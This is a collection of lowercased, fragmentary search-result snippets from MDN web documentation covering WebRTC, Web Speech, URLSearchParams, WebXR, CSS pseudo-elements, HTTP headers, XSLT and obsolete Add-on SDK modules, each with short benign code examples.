... this moment is before the check to any application cache.
... syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification.
RTCDTMFToneChangeEvent.tone - Web APIs
the read-only property rtcdtmftonechangeevent.tone returns the dtmf character which has just begun to play, or an empty string ("").
... syntax var tone = dtmftonechangeevent.tone; example this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
a bufferedamountlow event is sent to an rtcdatachannel when the number of bytes currently in the outbound data transfer buffer falls below the threshold specified in bufferedamountlowthreshold.
... bubbles no cancelable no interface event event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection, this calls rtcpeerconnection.createdatachannel() to create the data channel.
RTCDataChannel: close event - Web APIs
the close event is sent to the onclose event handler on an rtcdatachannel instance when the data transport being used for the data channel has closed.
... before any further data can be transferred using rtcdatachannel, a new data channel instance must be created.
... bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
RTCDataChannel: open event - Web APIs
the webrtc open event is sent to an rtcdatachannel object's onopen event handler when the underlying transport used to send and receive the data channel's messages is opened or re-opened.
... bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established.
... dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property.
RTCDataChannel.reliable - Web APIs
the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.
...use rtcdatachannel.ordered instead in any new code, and update existing code as soon as possible.
... syntax var reliable = adatachannel.reliable; value true if the rtcdatachannel's connection is reliable; false if it isn't.
RTCIceTransport: statechange event - Web APIs
a statechange event occurs when the rtcicetransport changes state.
... bubbles no cancelable no interface event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an event handler that calls a function named handlefailure() if the ice transport enters a failure state.
... let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
RTCPeerConnection: signalingstatechange event - Web APIs
an signalingstatechange event is sent to an rtcpeerconnection to notify it that its signaling state, as indicated by the signalingstate property, has changed.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onsignalingstatechange examples given an rtcpeerconnection, pc, and an updatestatus() function that presents status information to the user, this code sets up an event handler to let the user know when the ice negotiation process finishes up.
... pc.addeventlistener("signalingstatechange", ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
Selection.anchorOffset - Web APIs
the selection.anchoroffset read-only property returns the number of characters that the selection's anchor is offset within the selection.anchornode.
...if the selection begins with the first character in the selection.anchornode, 0 is returned.
... syntax number = sel.anchoroffset specifications specification status comment selection apithe definition of 'selection.anchoroffset' in that specification.
Selection.selectAllChildren() - Web APIs
the selection.selectallchildren() method adds all the children of the specified node to the selection.
... syntax sel.selectallchildren(parentnode) parameters parentnode all children of parentnode will be selected.
... example html <main> <button>select footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
the oncontrollerchange property of the serviceworkercontainer interface is an event handler fired whenever a controllerchange event occurs — when the document's associated serviceworkerregistration acquires a new active worker.
... syntax serviceworkercontainer.oncontrollerchange = function(controllerchangeevent) { ...
... } example // tbd specifications specification status comment service workersthe definition of 'serviceworkercontainer: oncontrollerchange' in that specification.
ServiceWorkerGlobalScope.caches - Web APIs
the caches read-only property of the serviceworkerglobalscope interface returns the cachestorage object associated with the service worker.
... syntax var mycachestorage = self.caches; value a cachestorage object.
... specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.caches' in that specification.
SpeechRecognitionError.message - Web APIs
the message read-only property of the speechrecognitionerror interface returns a message describing the error in more detail.
... this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
the resultindex read-only property of the speechrecognitionevent interface returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed.
... the speechrecognitionresultlist object is not an array, but it has a getter that allows it to be accessed by array syntax.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
the utterance read-only property of the speechsynthesisutterance interface returns the speechsynthesisutterance instance that the event was triggered on.
... syntax event.utterance; value a speechsynthesisutterance object.
... examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
the onboundary property of the speechsynthesisutterance interface represents an event handler that will run when the spoken utterance reaches a word or sentence boundary (when the boundary event fires.) syntax speechsynthesisutteranceinstance.onboundary = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onboundary' in that specification.
SpeechSynthesisUtterance.onend - Web APIs
the onend property of the speechsynthesisutterance interface represents an event handler that will run when the utterance has finished being spoken (when the end event fires.) syntax speechsynthesisutteranceinstance.onend = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
the onerror property of the speechsynthesisutterance interface represents an event handler that will run when an error occurs that prevents the utterance from being succesfully spoken (when the error event fires.) syntax speechsynthesisutteranceinstance.onerror = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechSynthesisUtterance.onmark - Web APIs
the onmark property of the speechsynthesisutterance interface represents an event handler that will run when the spoken utterance reaches a named ssml mark tag (when the mark event fires.) syntax speechsynthesisutteranceinstance.onmark = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onmark' in that specification.
SpeechSynthesisVoice.lang - Web APIs
the lang read-only property of the speechsynthesisvoice interface returns a bcp 47 language tag indicating the language of the voice.
... syntax var mylang = speechsynthesisvoiceinstance.lang; value a domstring representing the language of the device.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
the localservice read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is supplied by a local speech synthesizer service (true), or a remote speech synthesizer service (false.) this property is provided to allow differentiation in the case that some voice options are provided by a remote service; it is possible that remote voices might have extra latency, bandwidth or cost associated with them, so such distinction may be useful.
... syntax var amilocal = speechsynthesisvoiceinstance.localservice; value a boolean.
...mples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localservice' in that specification.
SpeechSynthesisVoice.name - Web APIs
the name read-only property of the speechsynthesisvoice interface returns a human-readable name that represents the voice.
... syntax var voicename = speechsynthesisvoiceinstance.name; value a domstring representing the name of the voice.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the speechsynthesisvoice interface returns the type of uri and location of the speech synthesis service for this voice.
... syntax var myvoiceuri = speechsynthesisvoiceinstance.voiceuri; value a domstring representing the uri of the voice.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
URLSearchParams.delete() - Web APIs
the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters.
... syntax urlsearchparams.delete(name) parameters name the name of the parameter to be deleted.
... return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let params = new urlsearchparams(url.search.slice(1)); // delete the foo parameter.
URLSearchParams.getAll() - Web APIs
the getall() method of the urlsearchparams interface returns all the values associated with a given search parameter as an array.
... syntax urlsearchparams.getall(name) parameters name the name of the parameter to return.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.has() - Web APIs
the has() method of the urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists.
... syntax var hasname = urlsearchparams.has(name) parameters name the name of the parameter to find.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.keys() - Web APIs
the keys() method of the urlsearchparams interface returns an iterator allowing iteration through all keys contained in this object.
... syntax searchparams.keys(); parameters none.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
the urlsearchparams.sort() method sorts all key/value pairs contained in this object in place and returns undefined.
... syntax searchparams.sort(); parameters none.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
the values() method of the urlsearchparams interface returns an iterator allowing iteration through all values contained in this object.
... syntax searchparams.values(); parameters none.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
USBDevice.isochronousTransferIn() - Web APIs
the isochronoustransferin() method of the usbdevice interface returns a promise that resolves with a usbisochronousintransferresult when time sensitive information has been transmitted received from the usb device.
... syntax var promise = usbdevice.isochronoustransferin(endpointnumber, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer).
... return value a promise that resolves with a usbisochronousintransferresult specifications specification status comment webusbthe definition of 'isochronoustransferin()' in that specification.
VideoTrackList: change event - Web APIs
the change event is fired when a video track is made active or inactive, for example by changing the track's selected property.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); using the onchange event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onchange = (event) => { console.log(`'${event.type}' event fir...
...ed`); }; // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); specifications specification status html living standardthe definition of 'change' in that specification.
Window.applicationCache - Web APIs
important: application cache is deprecated as of firefox 44, and is no longer available in insecure contexts from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... returns a reference to the application cache object for the window.
... syntax cache = window.applicationcache parameters cache is an object reference to an offlineresourcelist.
WorkerGlobalScope.onlanguagechange - Web APIs
the onlanguagechange property of the workerglobalscope interface represents an eventhandler to be called when the languagechange event occurs and bubbles through the worker.
... syntax self.onlanguagechange = function() { ...
... }; example the following code snippet shows an onlanguagechange handler set inside a worker: self.onlanguagechange = function() { console.log('your preferred language settings have been changed'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onlanguagechange' in that specification.
XMLHttpRequest.channel - Web APIs
xmlhttprequest.channel is an nsichannel that used by the object when performing the request.
... this is null if the channel hasn't been created yet.
... in the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request.
XRInputSourcesChangeEvent.session - Web APIs
the xrinputsourceschangeevent property session specifies the xrsession to which the input source list change event applies.
... syntax let inputssession = xrinputsourceschangeevent.session; value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.session' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
the xrinputsourceschangeeventinit property session specifies the xrsession to which the input source list change event applies.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
XRSession.oninputsourceschange - Web APIs
the oninputsourcechange attribute of the xrsession object is the event handler for the inputsourcechange event, which is dispatched when session's list of active xr input sources has changed.
... syntax xrsession.oninputsourceschange = function(event) { ...
... } example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.onvisibilitychange - Web APIs
the onvisibilitychange attribute of the xrsession object is the event handler for the visibilitychange event, which is dispatched when the visibility state of the xr session changes.
... syntax xrsession.onvisibilitychange = function(event) { ...
... } example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
XRSystem: ondevicechange - Web APIs
the ondevicechange property of the xrsystem interface is passed a devicechange event whenever availability of an immersive device changes.
... syntax navigator.xr.ondevicechange = function(event) { ...
... }; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of immersive xr devices has changed.") }; specifications specification status comment webxr device apithe definition of 'ondevicechange ' in that specification.
-webkit-mask-attachment - CSS: Cascading Style Sheets
if a -webkit-mask-image is specified, -webkit-mask-attachment determines whether the mask image's position is fixed within the viewport, or scrolls along with its containing block.
... /* keyword values */ -webkit-mask-attachment: scroll; -webkit-mask-attachment: fixed; -webkit-mask-attachment: local; /* multiple values */ -webkit-mask-attachment: scroll, local; -webkit-mask-attachment: fixed, local, scroll; /* global values */ -webkit-mask-attachment: inherit; -webkit-mask-attachment: initial; -webkit-mask-attachment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
::-moz-color-swatch - CSS: Cascading Style Sheets
the ::-moz-color-swatch css pseudo-element is a mozilla extension that represents the color selected in an <input> of type="color".
... note: using ::-moz-color-swatch with anything but an <input type="color"> doesn't match anything and has no effect.
... examples html <input type="color" value="#de2020" /> css input[type=color]::-moz-color-swatch { border-radius: 10px; border-style: none; } result specifications not part of any standard.
::-webkit-search-cancel-button - CSS: Cascading Style Sheets
the ::-webkit-search-cancel-button css pseudo-element represents a button (the "cancel button") at the edge of an <input> of type="search" which clears away the current value of the <input> element.
...the clear button is only shown on non-empty search <input> elements.
... syntax selector::-webkit-search-cancel-button specifications not part of any standard.
::-webkit-search-results-button - CSS: Cascading Style Sheets
the ::-webkit-search-results-button css pseudo-element represents a button (the "search results button") at the left edge of an <input> of type="search" which when clicked displays a menu which allows the user to choose from previous recent search queries.
...the search results button is only shown on search <input> elements that have a results attribute.
... syntax selector::-webkit-search-results-button specifications not part of any standard.
Link types: dns-prefetch - HTML: Hypertext Markup Language
the dns-prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing dns resolution for that origin.
... see using dns-prefetch for more details.
... specifications specification status comment html living standardthe definition of 'dns-prefetch' in that specification.
Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel - HTTP
reason reason: missing token ‘xyz’ in cors header ‘access-control-allow-headers’ from cors preflight channel what went wrong?
... the access-control-allow-headers header is sent by the server to let the client know which headers it supports for cors requests.
... the value of access-control-allow-headers should be a comma-delineated list of header names, such as "x-custom-information" or any of the standard but non-basic header names (which are always allowed).
Accept-CH-Lifetime - HTTP
the accept-ch-lifetime header is set by the server to specify the persistence of accept-ch header value that specifies for which client hints headers client should include in subsequent requests.
...accept-ch and accept-ch-lifetime headers should be persisted for all secure requests to ensure client hints are sent reliably.
... syntax accept-ch-lifetime: <age> examples accept-ch: viewport-width, dpr accept-ch-lifetime: 86400 ...
Accept-CH - HTTP
the accept-ch header is set by the server to specify which client hints headers a client should include in subsequent requests.
...accept-ch and accept-ch-lifetime headers should be persisted for all secure requests to ensure client hints are sent reliably.
... syntax accept-ch: <list of client hints> examples accept-ch: dpr, viewport-width accept-ch: width accept-ch-lifetime: 86400 vary: dpr, viewport-width, width note: remember to vary the response based on the accepted client hints.
Sec-Fetch-Dest - HTTP
the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-dest: audio sec-fetch-dest: audioworklet sec-fetch-dest: document sec-fetch-dest: embed sec-fetch-dest: empty sec-fetch-dest: font sec-fetch-dest: image sec-fetch-dest: manifest sec-fetch-dest: nested-document sec-fetch-dest: object sec-fetch-dest: paintworklet sec-fetch-dest: report sec-fetch-dest: script sec-fetch-dest: serviceworker sec-fetch-dest: sharedworker sec-fetch-dest: style sec-fetch-dest: track sec-fetch-dest: video sec-fetch-dest: worker sec-fetch-dest: xslt sec-fetch-dest: audioworklet sec-fetch-dest: audioworklet values audio audioworklet document embed empty font im...
...age manifest object paintworklet report script serviceworker sharedworker style track video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
Sec-Fetch-Site - HTTP
the sec-fetch-site fetch metadata header indicates the relationship between a request initiator's origin and the origin of the resource.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted response header cors-safelisted request header syntax sec-fetch-site: cross-site sec-fetch-site: same-origin sec-fetch-site: same-site sec-fetch-site: none values cross-site same-origin same-site none this request does not relate to any context like site, origin, or frame.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
Sec-Fetch-User - HTTP
the sec-fetch-user fetch metadata header indicates whether or not a navigation request was triggered by a user activation.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-user: ?0 sec-fetch-user: ?1 values the value is a boolean structured header.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-user http request header ...
String.prototype.anchor() - JavaScript
the anchor() method creates a string beginning with an <a name="..."> start tag, then some text, and then an </a> end tag.
... syntax str.anchor(name) parameters name a string representing a name value to put into the generated <a name="..."> start tag.
... examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification.
Web technology reference
the open web is based on a number of technologies which, together, can be used to create everything from simple sites to powerful web applications.
... below you'll find links to a selection of key documentation for each.
... if you're new to web development, consider starting with our learning area, which is filled with step-by-step tutorials that will guide you from total webdev newbie to at least semi-pro!
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
the <hatchpath> svg element defines a hatch path used by the <hatch> element.
... usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes d offset dom interface this element implements the svghatchpathelement interface.
... example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
choose - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the choose function returns one of the specified objects based on a boolean parameter.
... note: this method should be used instead of if(), which has been deprecated.
... syntax choose( boolean , object1, object2 ) arguments boolean the boolean operation to use when determining which object to return.
<xsl:choose> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementchoose
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:choose> element defines a choice among a number of alternatives.
... it behaves like a switch statement in procedural languages.
... syntax <xsl:choose> <xsl:when test="[whatever to test1]"></xsl:when> <xsl:when test="[whatever to test2]"></xsl:when> <xsl:otherwise></xsl:otherwise> [optional] </xsl:choose> required attributes none.
indexed-db - Archive of obsolete content
so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself.
... example this example uses the action button api, which is only available from firefox 29 onwards.
event/core - Archive of obsolete content
to avoid hassles of removing such listeners there is a convenient once function: once(target, 'load', function() { console.log('ready'); }); emit(target, 'load') // info: 'ready' emit(target, 'load') there are also convenient ways to remove registered listeners.
... emit(target, type, message, arguments) execute each of the listeners in order with the supplied arguments.
frame/hidden-frame - Archive of obsolete content
it is also useful in the construction of apis that load web content for intermittent display, such as panel.
... properties element the host application frame in which the page is loaded.
net/url - Archive of obsolete content
options : object optional options: name type sync boolean if this option is set to true, the promise returned will be resolved synchronously.
... charset string the character set to use when read the content of the uri given.
test/httpd - Archive of obsolete content
an http server for the mozilla platform, which can be used in unit tests.
... }) }); this starts a server in background (assuming you're running this code in an application that has an event loop, such as firefox).
Display a Popup - Archive of obsolete content
you can run content scripts in the panel: although the script running in the panel can't directly access your main add-on code, you can exchange messages between the panel script and the add-on code.
... if you use a toggle button, you can attach the panel to the button.
Using third-party modules (jpm) - Archive of obsolete content
if you have error related to git, check you have latest git command installed.
...it will contain a single directory "addon-pathfinder", and the modules included in this package will be somewhere in that directory: my-menuitem index.js node_modules menuitem package.json test we're interested in using the "menuitem" module, which is at "addon-pathfinder/lib/ui/menuitem".
LookupNamespaceURI - Archive of obsolete content
here is an implementation of node.lookupnamespaceuri which should work cross-browser.
...ion lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri; } if (nod...
Tabbox - Archive of obsolete content
th id's the same as their nodename, this function will correctly remove the current tab and tab panel for the onclosetab tabs event: function removetab(){ var tabbox = document.getelementbyid("tabbox"); var currentindex = tabbox.selectedindex; if(currentindex>=0){ var tabs=document.getelementbyid("tabs"); var tabpanels=document.getelementbyid("tabpanels"); tabpanels.removechild(tabpanels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work around if last tab is removed, widget fails to advance to next tab*/ if(-1 == tabbox.selectedindex && tabs.childnodes.length>0){ tabbox.selectedindex=0; } } creating a close tab button to have a tab close button, you must configure the style.
